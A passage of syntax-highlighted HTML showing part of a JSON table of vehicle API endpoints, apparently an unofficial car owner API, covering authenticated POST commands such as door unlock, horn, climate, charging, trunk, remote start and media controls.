&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/door_unlock&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;LOCK&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/door_lock&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;HONK_HORN&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/honk_horn&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;FLASH_LIGHTS&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/flash_lights&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;CLIMATE_ON&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/auto_conditioning_start&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;CLIMATE_OFF&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/auto_conditioning_stop&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;CHANGE_CLIMATE_TEMPERATURE_SETTING&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/set_temps&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;CHANGE_CHARGE_LIMIT&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/set_charge_limit&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;CHANGE_SUNROOF_STATE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/sun_roof_control&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;ACTUATE_TRUNK&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/actuate_trunk&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;REMOTE_START&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/remote_start_drive&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;CHARGE_PORT_DOOR_OPEN&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/charge_port_door_open&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;CHARGE_PORT_DOOR_CLOSE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/charge_port_door_close&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;START_CHARGE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/charge_start&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;STOP_CHARGE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/charge_stop&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;MEDIA_TOGGLE_PLAYBACK&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/media_toggle_playback&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;MEDIA_NEXT_TRACK&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/media_next_track&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;MEDIA_PREVIOUS_TRACK&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/media_prev_track&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;MEDIA_NEXT_FAVORITE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/media_next_fav&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;MEDIA_PREVIOUS_FAVORITE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/media_prev_fav&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;MEDIA_VOLUME_UP&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/media_volume_up&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;MEDIA_VOLUME_DOWN&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/media_volume_down&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SEND_LOG&amp;#34;&lt;/span&gt;: {
